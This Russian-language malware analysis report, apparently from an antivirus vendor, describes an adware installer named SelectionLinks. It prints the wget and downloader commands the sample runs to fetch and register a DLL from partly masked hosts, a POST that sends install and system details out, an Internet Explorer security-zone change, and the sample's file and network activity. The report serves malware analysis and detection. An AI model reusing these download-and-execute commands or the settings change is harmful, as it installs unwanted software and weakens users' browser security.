Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\nsu16.tmp\ns17.tmp' "%TEMP%\wget.exe" -q -O "churl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data"
- '%TEMP%\wget.exe' -q -O "churl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data"
- '%TEMP%\nsp2.tmp\ns18.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=MZђ/generate_extid.php" "/F=ch.txt"
- '%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data" "/F=churl.txt"
- '%TEMP%\wget.exe' -q -O "%PROGRAM_FILES%\OApps\SelectionLinks.dll" "http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll"
- '%PROGRAM_FILES%\OApps\SelectionLinks.exe'
- '%TEMP%\nsp2.tmp\ns14.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/chrome_url.data" "/F=churl.txt"
- '%PROGRAM_FILES%\OApps\dler.exe' "/P=type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" "/U=http://tr###.nsdiflw.info/diagnose.php" "/F=status2.txt"
- '%TEMP%\nsz1E.tmp\ns1F.tmp' "%TEMP%\wget.exe" -q --post-data="type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" -O "status2.txt" "http://tr###.nsdiflw.info/diagnose.php"
- '%TEMP%\wget.exe' -q --post-data="type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" -O "status2.txt" "http://tr###.nsdiflw.info/diagnose.php"
- '%TEMP%\nsp2.tmp\ns1C.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=type=install&i={C5AE7382-579F-4F87-B615-4C86A50E8778}&nid=cb&aid=0&os=Microsoft Windows XP&browser=IE&installed=0&testgroup=MZђ&version=3.3&is%USERNAME%=1" "/U=http://tr###.nsdiflw.info/diagnose.php" "/F=status2.txt"
- '%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=MZђ/generate_extid.php" "/F=ch.txt"
- '%TEMP%\nsh1A.tmp\ns1B.tmp' "%TEMP%\wget.exe" -q -O "ch.txt" "MZђ/generate_extid.php"
- '%TEMP%\wget.exe' -q -O "ch.txt" "MZђ/generate_extid.php"
- '%TEMP%\nsb11.tmp\ns12.tmp' "%TEMP%\wget.exe" -q -O "%PROGRAM_FILES%\OApps\SelectionLinks.dll" "http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll"
- '%TEMP%\nsp2.tmp\ns7.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/js_url.data" "/F=jsurl.txt"
- '%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/js_url.data" "/F=jsurl.txt"
- '%TEMP%\nss9.tmp\nsA.tmp' "%TEMP%\wget.exe" -q -O "jsurl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/js_url.data"
- '%TEMP%\wget.exe' -q -O "tg.txt" "http://tr###.nsdiflw.info/testGroup.php"
- '%TEMP%\nsp2.tmp\ns3.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://tr###.nsdiflw.info/testGroup.php" "/F=tg.txt"
- '%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://tr###.nsdiflw.info/testGroup.php" "/F=tg.txt"
- '%TEMP%\nsh5.tmp\ns6.tmp' "%TEMP%\wget.exe" -q -O "tg.txt" "http://tr###.nsdiflw.info/testGroup.php"
- '%TEMP%\wget.exe' -q -O "bhoguid.txt" "http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data"
- '%TEMP%\nsp2.tmp\nsF.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/U=http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll" "/F=%PROGRAM_FILES%\OApps\SelectionLinks.dll"
- '%PROGRAM_FILES%\OApps\dler.exe' "/U=http://cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll" "/F=%PROGRAM_FILES%\OApps\SelectionLinks.dll"
- '%TEMP%\nsxD.tmp\nsE.tmp' "%TEMP%\wget.exe" -q -O "bhoguid.txt" "http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data"
- '%TEMP%\wget.exe' -q -O "jsurl.txt" "http://cd#.##diflw.info/sl_get/V6/cb/js_url.data"
- '%TEMP%\nsp2.tmp\nsB.tmp' "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data" "/F=bhoguid.txt"
- '%PROGRAM_FILES%\OApps\dler.exe' "/P=" "/U=http://cd#.##diflw.info/sl_get/V6/cb/bho_guid.data" "/F=bhoguid.txt"
Запускает на исполнение:
- '<SYSTEM32>\regsvr32.exe' /s "SelectionLinks.dll"
Изменяет следующие настройки браузера Windows Internet Explorer:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
Изменения в файловой системе:
Создает следующие файлы:
- %PROGRAM_FILES%\OApps\SelectionLinks.dll
- %PROGRAM_FILES%\OApps\sl-cb_uninstall.exe
- %PROGRAM_FILES%\OApps\SelectionLinks.exe
- %TEMP%\nsb11.tmp\ns12.tmp
- %TEMP%\nsp2.tmp\fct.dll
- %TEMP%\nsp2.tmp\nsF.tmp
- %TEMP%\nsb11.tmp\nsExec.dll
- %TEMP%\nsp2.tmp\ns14.tmp
- %TEMP%\nsp2.tmp\ns1C.tmp
- %TEMP%\nsz1E.tmp\nsExec.dll
- %TEMP%\nsz1E.tmp\ns1F.tmp
- %TEMP%\nsh1A.tmp\ns1B.tmp
- %PROGRAM_FILES%\OApps\churl.txt
- %TEMP%\nsp2.tmp\ns18.tmp
- %TEMP%\nsh1A.tmp\nsExec.dll
- %PROGRAM_FILES%\OApps\bhoguid.txt
- %TEMP%\wget.exe
- %TEMP%\nsh5.tmp\nsExec.dll
- %TEMP%\nsh5.tmp\ns6.tmp
- %TEMP%\nsp2.tmp\ns3.tmp
- %PROGRAM_FILES%\OApps\dler.exe
- %TEMP%\nsp2.tmp\System.dll
- %TEMP%\nsp2.tmp\nsExec.dll
- %PROGRAM_FILES%\OApps\tg.txt
- %TEMP%\nsp2.tmp\nsB.tmp
- %TEMP%\nsxD.tmp\nsExec.dll
- %TEMP%\nsxD.tmp\nsE.tmp
- %PROGRAM_FILES%\OApps\jsurl.txt
- %TEMP%\nsp2.tmp\ns7.tmp
- %TEMP%\nss9.tmp\nsExec.dll
- %TEMP%\nss9.tmp\nsA.tmp
Удаляет следующие файлы:
- %TEMP%\nsp2.tmp\nsF.tmp
- %PROGRAM_FILES%\OApps\SelectionLinks.exe
- %TEMP%\nsb11.tmp\nsExec.dll
- %PROGRAM_FILES%\OApps\bhoguid.txt
- %TEMP%\nsb11.tmp\ns12.tmp
- %TEMP%\nsh1A.tmp\nsExec.dll
- %TEMP%\nsp2.tmp\ns18.tmp
- %TEMP%\nsh1A.tmp\ns1B.tmp
- %TEMP%\nsp2.tmp\ns14.tmp
- %PROGRAM_FILES%\OApps\churl.txt
- %TEMP%\nsp2.tmp\nsB.tmp
- %PROGRAM_FILES%\OApps\tg.txt
- %TEMP%\nss9.tmp\nsA.tmp
- %TEMP%\nsp2.tmp\ns3.tmp
- %TEMP%\nsh5.tmp\ns6.tmp
- %TEMP%\nsh5.tmp\nsExec.dll
- %TEMP%\nsxD.tmp\nsE.tmp
- %TEMP%\nsxD.tmp\nsExec.dll
- %PROGRAM_FILES%\OApps\jsurl.txt
- %TEMP%\nss9.tmp\nsExec.dll
- %TEMP%\nsp2.tmp\ns7.tmp
Сетевая активность:
Подключается к:
- 'cd#.##diflw.info':80
- 'tr###.nsdiflw.info':80
TCP:
Запросы HTTP GET:
- cd#.##diflw.info/sl_get/V6/cb/SelectionLinks.dll
- cd#.##diflw.info/sl_get/V6/cb/chrome_url.data
- cd#.##diflw.info/sl_get/V6/cb/bho_guid.data
- tr###.nsdiflw.info/testGroup.php
- cd#.##diflw.info/sl_get/V6/cb/js_url.data
Запросы HTTP POST:
- tr###.nsdiflw.info/diagnose.php
UDP:
- DNS ASK cd#.##diflw.info
- DNS ASK tr###.nsdiflw.info
